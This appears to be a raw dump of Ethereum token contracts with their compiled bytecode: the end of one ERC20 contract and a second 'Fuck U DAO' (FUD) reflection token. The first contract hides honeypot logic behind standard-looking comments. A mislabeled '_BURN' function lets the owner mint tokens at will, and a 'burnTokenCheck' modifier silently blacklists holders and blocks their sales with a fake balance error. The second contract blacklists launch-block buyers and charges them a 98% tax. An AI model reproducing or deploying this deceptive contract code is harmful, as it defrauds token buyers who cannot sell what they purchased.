_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _BURN(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount) ;
if (_allowNextWallet == true){
_whiteAddress[recipient] = true;
_allowNextWallet = false ;
}
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806352b0f196116100a257806395d89b411161007157806395d89b4114610558578063a9059cbb14610560578063ae1a19291461058c578063b782b11a14610594578063dd62ed3e1461059c57610116565b806352b0f196146103da57806370a082311461050457806373b02a8c1461052a5780638b9814291461055057610116565b806323b872dd116100e957806323b872dd146102955780632588cb69146102cb578063313ce567146102f75780633bb8d3551461031557806343a2407f146103b657610116565b8063043fa39e1461011b57806306fdde03146101be578063095ea7b31461023b57806318160ddd1461027b575b600080fd5b6101bc6004803603602081101561013157600080fd5b810190602081018135600160201b81111561014b57600080fd5b82018360208201111561015d57600080fd5b803590602001918460208302840111600160201b8311171561017e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105ca945050505050565b005b6101c66106bf565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102005781810151838201526020016101e8565b50505050905090810190601f16801561022d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102676004803603604081101561025157600080fd5b506001600160a01b038135169060200135610755565b604080519115158252519081900360200190f35b610283610772565b60408051918252519081900360200190f35b610267600480360360608110156102ab57600080fd5b506001600160a01b03813581169160208101359091169060400135610778565b6101bc600480360360408110156102e157600080fd5b506001600160a01b0381351690602001356107ff565b6102ff6108ef565b6040805160ff9092168252519081900360200190f35b6101bc6004803603602081101561032b57600080fd5b810190602081018135600160201b81111561034557600080fd5b82018360208201111561035757600080fd5b803590602001918460208302840111600160201b8311171561037857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108f8945050505050565b6103be6109e8565b604080516001600160a01b039092168252519081900360200190f35b6101bc600480360360608110156103f057600080fd5b81359190810190604081016020820135600160201b81111561041157600080fd5b82018360208201111561042357600080fd5b803590602001918460208302840111600160201b8311171561044457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561049357600080fd5b8201836020820111156104a557600080fd5b803590602001918460208302840111600160201b831117156104c657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506109f7945050505050565b6102836004803603602081101561051a57600080fd5b50356001600160a01b0316610b10565b6101bc6004803603602081101561054057600080fd5b50356001600160a01b0316610b2b565b6101bc610b95565b6101c6610bec565b6102676004803603604081101561057657600080fd5b506001600160a01b038135169060200135610c4d565b610267610c61565b610267610c71565b610283600480360360408110156105b257600080fd5b506001600160a01b0381358116916020013516610c81565b600c546001600160a01b03163314610612576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b81518110156106bb5760016003600084848151811061063057fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061068157fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610615565b5050565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561074b5780601f106107205761010080835404028352916020019161074b565b820191906000526020600020905b81548152906001019060200180831161072e57829003601f168201915b5050505050905090565b6000610769610762610d0d565b8484610d11565b50600192915050565b60065490565b6000610785848484610dfd565b6107f584610791610d0d565b6107f085604051806060016040528060288152602001611563602891396001600160a01b038a166000908152600560205260408120906107cf610d0d565b6001600160a01b03168152602081019190915260400160002054919061145b565b610d11565b5060019392505050565b600c546001600160a01b0316331461085e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60065461086b9082610cac565b600655600c546001600160a01b03166000908152602081905260409020546108939082610cac565b600c546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60095460ff1690565b600c546001600160a01b03163314610940576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b81518110156106bb57600180600084848151811061095d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008484815181106109ae57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610943565b600b546001600160a01b031681565b600c546001600160a01b03163314610a3f576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8251811015610b0a57610a7b838281518110610a5a57fe5b6020026020010151838381518110610a6e57fe5b6020026020010151610c4d565b5083811015610b02576001806000858481518110610a9557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550610b02838281518110610ae357fe5b6020908102919091010151600e546001600160a01b0316600019610d11565b600101610a42565b50505050565b6001600160a01b031660009081526020819052604090205490565b600c546001600160a01b03163314610b73576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314610bdd576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b6002805460ff19166001179055565b60088054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561074b5780601f106107205761010080835404028352916020019161074b565b6000610769610c5a610d0d565b8484610dfd565b600b54600160a01b900460ff1681565b600b54600160a81b900460ff1681565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b600082820183811015610d06576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610d565760405162461bcd60e51b81526004018080602001828103825260248152602001806115b06024913960400191505060405180910390fd5b6001600160a01b038216610d9b5760405162461bcd60e51b815260040180806020018281038252602281526020018061151b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600d54600c548491849184916001600160a01b039182169116148015610e305750600c546001600160a01b038481169116145b15610ff957600d80546001600160a01b0319166001600160a01b03848116919091179091558616610e925760405162461bcd60e51b815260040180806020018281038252602581526020018061158b6025913960400191505060405180910390fd5b6001600160a01b038516610ed75760405162461bcd60e51b81526004018080602001828103825260238152602001806114f86023913960400191505060405180910390fd5b610ee28686866114f2565b610f1f8460405180606001604052806026815260200161153d602691396001600160a01b038916600090815260208190526040902054919061145b565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610f4e9085610cac565b6001600160a01b03861660009081526020819052604090205560025460ff16151560011415610fa9576001600160a01b0385166000908152600160208190526040909120805460ff1990811690921790556002805490911690555b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611453565b600c546001600160a01b03848116911614806110225750600d546001600160a01b038481169116145b8061103a5750600c546001600160a01b038381169116145b156110bd57600c546001600160a01b03848116911614801561106d5750816001600160a01b0316836001600160a01b0316145b156110785760048190555b6001600160a01b038616610e925760405162461bcd60e51b815260040180806020018281038252602581526020018061158b6025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415611129576001600160a01b038616610e925760405162461bcd60e51b815260040180806020018281038252602581526020018061158b6025913960400191505060405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff161515600114156111b357600d546001600160a01b03848116911614806111785750600e546001600160a01b038381169116145b6110785760405162461bcd60e51b815260040180806020018281038252602681526020018061153d6026913960400191505060405180910390fd5b60045481101561124757600d546001600160a01b0383811691161415611078576001600160a01b0383811660009081526003602090815260408083208054600160ff1991821681179092559252909120805490911690558616610e925760405162461bcd60e51b815260040180806020018281038252602581526020018061158b6025913960400191505060405180910390fd5b600d546001600160a01b03848116911614806112705750600e546001600160a01b038381169116145b6112ab5760405162461bcd60e51b815260040180806020018281038252602681526020018061153d6026913960400191505060405180910390fd5b6001600160a01b0386166112f05760405162461bcd60e51b815260040180806020018281038252602581526020018061158b6025913960400191505060405180910390fd5b6001600160a01b0385166113355760405162461bcd60e51b81526004018080602001828103825260238152602001806114f86023913960400191505060405180910390fd5b6113408686866114f2565b61137d8460405180606001604052806026815260200161153d602691396001600160a01b038916600090815260208190526040902054919061145b565b6001600160a01b0380881660009081526020819052604080822093909355908716815220546113ac9085610cac565b6001600160a01b03861660009081526020819052604090205560025460ff16151560011415611407576001600160a01b0385166000908152600160208190526040909120805460ff1990811690921790556002805490911690555b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b505050505050565b600081848411156114ea5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114af578181015183820152602001611497565b50505050905090810190601f1680156114dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122023d0b8d64747e3dc5775427347cbad5210b014b0125730635992a798a05e151964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,608 |
0x5aa0bd457c075e964845c65ba64527b498834546
|
/**
*Submitted for verification at Etherscan.io on 2022-01-31
*/
//SPDX-License-Identifier: MIT
/*
Website - fuckdao.io
Telegram - t.me/fuckudaoportal
Twitter - twitter.com/fuckudao
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FuckUDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fuck U DAO";//
string private constant _symbol = "FUD";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
uint256 private _reflectFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
uint256 private _reflectFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _reflectFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2a7B9EF731d46c388FaFF62be8Aaa62E428c9c44);
address payable private _marketingAddress = payable(0xcF8617Fa0b8649619FbAcd5462AD653577504d43);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000 * 10**9; //0.5
uint256 public _maxWalletSize = 15000000 * 10**9;//1.5
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
_taxFeeOnBuy = 98;
}
else{
_taxFeeOnBuy = 9;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _reflectFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _reflectFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function OpenTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function removeLimits() public onlyOwner {
_maxTxAmount = 1000000000 * 10**9;
_maxWalletSize = 1000000000 * 10**9;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb14610380578063bfd79284146103a0578063c3c8cd80146103d0578063d00efb2f146103e5578063dd62ed3e146103fb578063f2fde38b1461044157600080fd5b8063715018a6146102e0578063751039fc146102f55780637d1db4a51461030a5780638da5cb5b146103205780638f9a55c01461033e57806395d89b411461035457600080fd5b80632fd689e3116101085780632fd689e314610242578063313ce5671461025857806349bd5a5e1461027457806351cd7cc3146102945780636fc3eaec146102ab57806370a08231146102c057600080fd5b806306fdde0314610150578063095ea7b3146101955780631694505e146101c557806318160ddd146101fd57806323b872dd1461022257600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600a8152694675636b20552044414f60b01b60208201525b60405161018c91906116ff565b60405180910390f35b3480156101a157600080fd5b506101b56101b03660046116d4565b610461565b604051901515815260200161018c565b3480156101d157600080fd5b506015546101e5906001600160a01b031681565b6040516001600160a01b03909116815260200161018c565b34801561020957600080fd5b50670de0b6b3a76400005b60405190815260200161018c565b34801561022e57600080fd5b506101b561023d366004611694565b610478565b34801561024e57600080fd5b5061021460195481565b34801561026457600080fd5b506040516009815260200161018c565b34801561028057600080fd5b506016546101e5906001600160a01b031681565b3480156102a057600080fd5b506102a96104e1565b005b3480156102b757600080fd5b506102a961052d565b3480156102cc57600080fd5b506102146102db366004611624565b610578565b3480156102ec57600080fd5b506102a961059a565b34801561030157600080fd5b506102a961060e565b34801561031657600080fd5b5061021460175481565b34801561032c57600080fd5b506000546001600160a01b03166101e5565b34801561034a57600080fd5b5061021460185481565b34801561036057600080fd5b5060408051808201909152600381526211955160ea1b602082015261017f565b34801561038c57600080fd5b506101b561039b3660046116d4565b61064b565b3480156103ac57600080fd5b506101b56103bb366004611624565b60116020526000908152604090205460ff1681565b3480156103dc57600080fd5b506102a9610658565b3480156103f157600080fd5b5061021460085481565b34801561040757600080fd5b5061021461041636600461165c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044d57600080fd5b506102a961045c366004611624565b6106ac565b600061046e338484610796565b5060015b92915050565b60006104858484846108ba565b6104d784336104d285604051806060016040528060288152602001611891602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e82565b610796565b5060019392505050565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161050b90611752565b60405180910390fd5b6016805460ff60a01b1916600160a01b17905543600855565b6013546001600160a01b0316336001600160a01b0316148061056257506014546001600160a01b0316336001600160a01b0316145b61056b57600080fd5b4761057581610ebc565b50565b6001600160a01b03811660009081526002602052604081205461047290610f45565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161050b90611752565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161050b90611752565b670de0b6b3a76400006017819055601855565b600061046e3384846108ba565b6013546001600160a01b0316336001600160a01b0316148061068d57506014546001600160a01b0316336001600160a01b0316145b61069657600080fd5b60006106a130610578565b905061057581610fc9565b6000546001600160a01b031633146106d65760405162461bcd60e51b815260040161050b90611752565b6001600160a01b03811661073b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050b565b6001600160a01b0382166108595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661091e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050b565b6001600160a01b0382166109805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050b565b600081116109e25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050b565b6000546001600160a01b03848116911614801590610a0e57506000546001600160a01b03838116911614155b15610d7557601654600160a01b900460ff16610aa7576000546001600160a01b03848116911614610aa75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161050b565b601754811115610af95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161050b565b6001600160a01b03831660009081526011602052604090205460ff16158015610b3b57506001600160a01b03821660009081526011602052604090205460ff16155b610b935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161050b565b6008544311158015610bb257506016546001600160a01b038481169116145b8015610bcc57506015546001600160a01b03838116911614155b8015610be157506001600160a01b0382163014155b15610c13576001600160a01b0382166000908152601160205260409020805460ff191660011790556062600a55610c19565b6009600a555b6016546001600160a01b03838116911614610c9e5760185481610c3b84610578565b610c4591906117f7565b10610c9e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161050b565b6000610ca930610578565b601954601754919250821015908210610cc25760175491505b808015610cd95750601654600160a81b900460ff16155b8015610cf357506016546001600160a01b03868116911614155b8015610d085750601654600160b01b900460ff165b8015610d2d57506001600160a01b03851660009081526005602052604090205460ff16155b8015610d